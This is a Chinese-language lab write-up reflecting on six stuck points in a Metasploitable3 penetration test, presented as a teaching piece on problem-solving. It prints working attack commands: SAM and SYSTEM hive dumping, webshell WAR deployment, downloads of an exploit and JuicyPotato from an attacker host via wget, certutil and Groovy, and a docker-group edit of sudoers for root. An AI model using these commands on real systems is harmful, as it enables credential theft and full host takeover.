這篇要做的事是真正的復盤——不是再列一次清單,而是還原我在幾個關鍵卡關點上的思考過程。我怎麼從「完全不知道怎麼辦」走到「哦,原來可以這樣」。
突破的四種模式
回顧整個 M3 攻擊過程,我發現所有突破都可以歸入四種思維模式:
突破模式分類
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
模式 A:換條路做同一件事
────────────────────────────────────────
目標不變,工具/方法換掉
觸發條件:「這個工具做不到,有沒有別的?」
模式 B:繞過障礙物
────────────────────────────────────────
發現正面攻不動,從旁邊繞過去
觸發條件:「既然這條路走不通,有沒有別的入口?」
模式 C:利用已有的立足點
────────────────────────────────────────
手上已經有的權限或 session 能幫你打開新的路
觸發條件:「我現在手上有什麼資源可以用?」
模式 D:從細節裡挖出線索
────────────────────────────────────────
答案其實就在某個輸出裡,但你第一次沒看到
觸發條件:「我是不是漏看了什麼?」
突破 #1:Java Meterpreter 做不到 hashdump,那就手動來
模式 A:換條路做同一件事
卡住 → hashdump 指令不支援
突破 → drop to shell + reg save 手動匯出
耗時 → 卡 15 min → 突破後 5 min 完成
當時發生了什麼
打下 Elasticsearch(Windows),拿到 Meterpreter session,輸入 hashdump:
meterpreter > hashdump
[-] The "hashdump" command is not supported by this Meterpreter type.
這是我第一次遇到 Meterpreter 說「不支援」。在此之前打 Metasploitable2 全是 Native payload,所有指令都能用。我的第一反應是——是不是我操作有誤?
我的思考過程
腦內對話:
「hashdump 不支援?是不是 session 有問題?」
→ 試了 getprivs、getsystem,全都不支援
→ 不是個別指令的問題,是整個 session 能力受限
「為什麼能力受限?」
→ 看 payload 名稱:java/meterpreter/reverse_tcp
→ 是 Java payload,不是 Windows native
「Java Meterpreter 沒有這些功能,那我的目標是什麼?」
→ 我要的不是 hashdump 這個指令
→ 我要的是 SAM 和 SYSTEM 這兩個檔案
→ hashdump 只是「取得雜湊」的一種方式
「還有什麼方式可以拿到同一個東西?」
→ reg save 可以匯出 SAM → 這個只需要 cmd shell
→ Java Meterpreter 的 shell 指令還是能用的!
突破瞬間
關鍵轉折是這一句:我要的不是 hashdump,我要的是 SAM 檔案。
當你把需求從「工具的指令」拉回到「實際的目標」,解法空間就打開了。hashdump 做的事是讀 SAM + SYSTEM → 算出 hash。那我直接把 SAM 和 SYSTEM 拉回來,用 Kali 上的 impacket-secretsdump 解,結果完全一樣。
突破後的執行:
meterpreter > shell
C:\> reg save HKLM\SAM C:\Windows\Temp\sam.bak
C:\> reg save HKLM\SYSTEM C:\Windows\Temp\sys.bak
C:\> exit
meterpreter > download "C:\\Windows\\Temp\\sam.bak" /tmp/sam.bak
meterpreter > download "C:\\Windows\\Temp\\sys.bak" /tmp/sys.bak
# Kali
impacket-secretsdump -sam /tmp/sam.bak -system /tmp/sys.bak LOCAL
可帶走的一句話
突破 #2:GlassFish SSL 過期,管理介面進不去
模式 B:繞過障礙物
卡住 → asadmin / 管理頁面因 SSL 憑證過期全部報錯
突破 → 不走管理介面,直接寫 autodeploy 目錄
耗時 → 卡 20 min → 換思路後 10 min 部署成功
當時發生了什麼
GlassFish 4.0 的管理頁面在 port 4848(HTTPS)。所有正常的管理方式——瀏覽器登入、asadmin 指令——全部噴出同一個錯誤:
javax.net.ssl.SSLHandshakeException:
java.security.cert.CertificateExpiredException:
NotAfter: Fri May 12 22:33:38 PDT 2023
SSL 憑證在 2023 年 5 月過期了。試了 --secure=false、試了 --insecure,全部沒用。Google 了一堆 workaround,都是要你重新生成憑證——但我是攻擊者,我沒有管理員權限來重裝憑證。
我的思考過程
腦內對話:
「SSL 過期,管理介面進不去,是不是這台就打不了了?」
→ 差點就要放棄 GlassFish 這條線
「等等,我的目標是什麼?」
→ 不是「登入管理介面」
→ 是「把 WAR 丟進 GlassFish 讓它執行」
「部署 WAR 除了管理介面,還有什麼方法?」
→ autodeploy 目錄!
→ GlassFish 會自動部署放進 autodeploy/ 的 WAR 檔
「但我怎麼把檔案放進那個目錄?」
→ 我手上已經有 vagrant 的 evil-winrm session
→ 可以直接上傳到 autodeploy 目錄
突破瞬間
我差一步就要跳過 GlassFish,把它標記成「無法攻破」。但我問了一個好問題:我的目標是「登入管理介面」還是「部署 WAR」?
管理介面只是部署 WAR 的一種途徑。一旦把問題重新定義成「如何讓 GlassFish 執行我的 WAR」,autodeploy 目錄就是顯而易見的答案。
突破後的動作:
目標路徑:
C:\glassfish4\glassfish\domains\domain1\autodeploy\
+-------------------------------------------+
| evil-winrm(vagrant) |
| |
| upload shell.war shell.war |
| cmd /c "move shell.war C:\glassfish...\ |
| autodeploy\shell.war" |
+-------------------------------------------+
│
▼
GlassFish 自動掃描 autodeploy → 部署 WAR → Webshell 上線
可帶走的一句話
突破 #3:/tmp 掛了 noexec,exploit 編譯完跑不起來
模式 A:換條路做同一件事
卡住 → /tmp 有 noexec 旗標,編譯好的 exploit 無法執行
突破 → 換到 /var/tmp 或使用者家目錄
耗時 → 卡 20 min → 這是整段攻擊中最久的一次
當時發生了什麼
overlayfs 提權是 Linux 端所有低權限 shell 的出路。下載 exploit、編譯成功、chmod +x、執行
$ cd /tmp
$ wget http://192.168.145.144:8888/37292.c -O ofs.c
$ gcc -o ofs ofs.c
$ chmod +x ofs
$ ./ofs
bash: ./ofs: Permission denied
Permission denied。我有執行權限(chmod +x 了),檔案也在(ls 看得到),但就是不給跑。
這是整個 M3 過程中最讓我困惑的一次,因為錯誤訊息完全沒有提示你真正的問題在哪。
我的思考過程
腦內對話:
「Permission denied?是不是 chmod 沒成功?」
→ ls -la ofs → -rwxr-xr-x,權限明明有 x
「是不是 gcc 編譯有問題,產出的不是可執行檔?」
→ file ofs → ELF 64-bit LSB executable,確實是可執行檔
「那為什麼 Permission denied?」
→ ……在這裡卡了十分鐘,反覆試
→ 換了路徑名、換了檔名、重新編譯,都一樣
「會不會不是檔案的問題,而是目錄的問題?」
→ mount | grep /tmp
→ tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec)
→ noexec!!!
「原來是 /tmp 整個分割區都禁止執行任何檔案」
→ 那換個目錄就好了
突破瞬間
卡了十多分鐘,反覆檢查檔案本身的權限,完全沒往「掛載選項」想。直到我把診斷範圍從「檔案」擴大到「檔案系統」,一行 mount 就看到答案。
教訓:Permission denied 不只是檔案權限的問題,還可能是整個分割區的限制。
突破後的流程:
/tmp (noexec) /var/tmp (可執行)
┌──────────┐ ┌──────────┐
│ ofs.c │ ──cp──→ │ ofs.c │
│ ofs ✗ │ │ gcc → ofs│
│ 無法執行 │ │ ./ofs ✓ │
└──────────┘ └──────────┘
│
▼
uid=0(root)
可帶走的一句話
突破 #4:Jenkins 是 LOCAL SERVICE,寫不進常用目錄
模式 A + C:換路 + 利用已有工具
卡住 → certutil 下載 JuicyPotato 到 C:\Windows\Temp → Access Denied
突破 → 改寫到 C:\Users\Public + 用 Groovy Java API 取代 certutil
耗時 → 卡 10 min
當時發生了什麼
Jenkins Script Console 跑在 LOCAL SERVICE 身份下。我需要下載 JuicyPotato 進行提權,用了 Windows 上最常見的下載方式:
certutil -urlcache -f http://192.168.145.144:8888/jp.exe C:\Windows\Temp\jp.exe
→ error: 0x80070005 Access is denied
我的思考過程
腦內對話:
「Access Denied?LOCAL SERVICE 連 Temp 都寫不了?」
→ 在 Metasploitable2 上這招一直好用啊
→ 那是因為 MS2 拿到的都是 root / SYSTEM
「LOCAL SERVICE 到底能寫哪裡?」
→ 想了幾個常見目錄:
C:\Windows\Temp → 不行,剛剛試了
C:\Users\Public → 這個通常所有人都能寫
→ 試 C:\Users\Public → 成功了!
「但 certutil 可能本身也有問題,有更可靠的下載方式嗎?」
→ 我在 Groovy 裡面耶
→ Groovy 就是 Java → 可以用 Java 原生 API 下載
→ 不需要依賴外部指令
突破瞬間
這次突破分兩步。第一步是意識到不同的服務帳號有不同的檔案系統權限——不是拿到 shell 就能為所欲為。第二步是意識到我在 Groovy 環境裡,Java 本身就是我的工具箱,不需要非得靠 certutil。
// 最終解法:Groovy 原生下載到 C:\Users\Public
def file = new File("C:/Users/Public/jp.exe")
file.bytes = new URL("http://192.168.145.144:8888/jp.exe").bytes
file.exists() // → true
可帶走的一句話
突破 #5:MySQL 只聽 localhost,從外面根本連不上
模式 C:利用已有的立足點
卡住 → MySQL 3306 只監聽 127.0.0.1,Kali 無法直接連線
突破 → SSH 隧道轉發,把遠端的 localhost 映射到本機
耗時 → 卡 10 min(主要是回頭看掃描結果確認)
當時發生了什麼
掃描結果顯示 MySQL 3306 開著,嘗試連線:
mysql -h 192.168.145.145 -u root -psploitme
→ ERROR 2003 (HY000): Can't connect to MySQL server
我的思考過程
腦內對話:
「MySQL 連不上?密碼不對?」
→ 密碼是從 payroll_app.php 原始碼拿到的,應該沒錯
「是不是 MySQL 沒開?」
→ Nmap 掃到 3306 是 open 的
「掃描結果有沒有漏看什麼?」
→ 回去看 Nmap 詳細輸出:
3306/tcp open mysql MySQL 5.5.x
→ 但如果從目標機內部看呢?
→ netstat 顯示 127.0.0.1:3306 — 只監聽本地
「我有辦法從目標內部連線嗎?」
→ 我有 SSH 帳號(vagrant:vagrant)
→ SSH 隧道!
ssh -f -N -L 33306:127.0.0.1:3306 vagrant@192.168.145.145
→ 現在 Kali 的 33306 → 目標的 127.0.0.1:3306
mysql -h 127.0.0.1 -P 33306 -u root -psploitme
→ 連上了!
突破瞬間
這次的關鍵是問:我手上有什麼已經能用的東西?
答案是一個 SSH 帳號。SSH 隧道不是什麼高深技術,但你必須先意識到你有這個資源可以用。很多人手上握著三個 session、兩組帳密,卻還在試著從外部直接打——忘了自己已經在門裡面了
可帶走的一句話
突破 #6:Docker group——最意外的提權路
模式 D:從細節裡挖出線索
卡住 → chewbacca 是一般使用者,沒有 sudo 權限,提權怎麼辦
突破 → id 指令的輸出裡藏著答案:groups=999(docker)
耗時 → 差點跳過這個線索
當時發生了什麼
透過 Rails Web Console 拿到 chewbacca 的身份。確認一下是誰:
uid=1124(chewbacca) gid=100(users) groups=100(users),999(docker)
第一次看到這行的時候,我的眼睛掃過去:「chewbacca,普通使用者,groups 有 users 和 docker……」然後我就去試 sudo -l 了。
我的思考過程
腦內對話:
「sudo -l → 不行,沒有 sudo 權限」
「SUID 檔案 → find / -perm -4000 → 沒有可利用的」
「cron jobs → 沒看到可寫的排程」
「內核漏洞 → overlayfs 可以,但想試別的路」
──中場休息,重新看筆記──
「等等,剛才 id 的輸出是什麼來著?」
→ groups=100(users),999(docker)
→ docker?!
「docker group 成員可以啟動容器」
→ 啟動容器可以掛載主機的 /
→ 容器內是 root
→ 可以直接改主機的 /etc/sudoers
「這不就是一條直通 root 的路嗎?」
突破瞬間
id 這條指令幾乎每次拿到 shell 都會打,但真正逐字讀完它的輸出,包括 groups 裡每一個名字,不是每個人都做到了。
docker group 是一個已知的提權向量——這不是什麼 0-day 知識,但前提是你要看到它。
Docker Group 提權流程:
chewbacca (docker group)
│
▼
docker run -v /:/mnt --rm ubuntu bash -c \
'echo "chewbacca ALL=(ALL) NOPASSWD:ALL" >> /mnt/etc/sudoers'
│
│ 容器以 root 執行
│ 主機 / 掛載在 /mnt
│ 寫入主機的 sudoers
│
▼
sudo bash → root
可帶走的一句話
復盤:每次突破前我都問了什麼
六個突破有一個共通點:在卡住和突破之間,都有一個「好問題」
突破前的關鍵問題清單:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
#1 「我真正要的是 hashdump 還是 SAM 檔案?」
→ 把需求從指令拉回到目標
#2 「部署 WAR 除了管理介面還有什麼方法?」
→ 列舉所有可能的途徑
#3 「限制是在檔案上還是在檔案系統上?」
→ 把診斷範圍往上提一層
#4 「我現在是什麼身份、能寫哪裡?」
→ 確認當前的實際能力邊界
#5 「我手上已經有什麼資源可以用?」
→ 盤點已有的立足點
#6 「id 的每一個欄位我都看了嗎?」
→ 強迫自己讀完整個輸出
如果你把這六個問題內化成反射動作,下次卡住時,至少有六個方向可以嘗試。
卡關時的自問清單
把上面的經驗壓縮成一張可以貼在螢幕旁邊的清單:
┌─────────────────────────────────────────────────────┐
│ 卡住了?問自己這六個問題 │
├─────────────────────────────────────────────────────┤
│ │
│ 1. 我真正的目標是什麼?(不是指令,是結果) │
│ │
│ 2. 同一個目標有幾種達成方式?(至少想三種) │
│ │
│ 3. 限制在哪一層?(檔案?目錄?掛載?帳號?網路?) │
│ │
│ 4. 我現在是誰?能做什麼、不能做什麼? │
│ │
│ 5. 我手上有哪些已拿到的資源還沒用上? │
│ │
│ 6. 上一次的輸出我真的逐字讀完了嗎? │
│ │
└─────────────────────────────────────────────────────┘
小結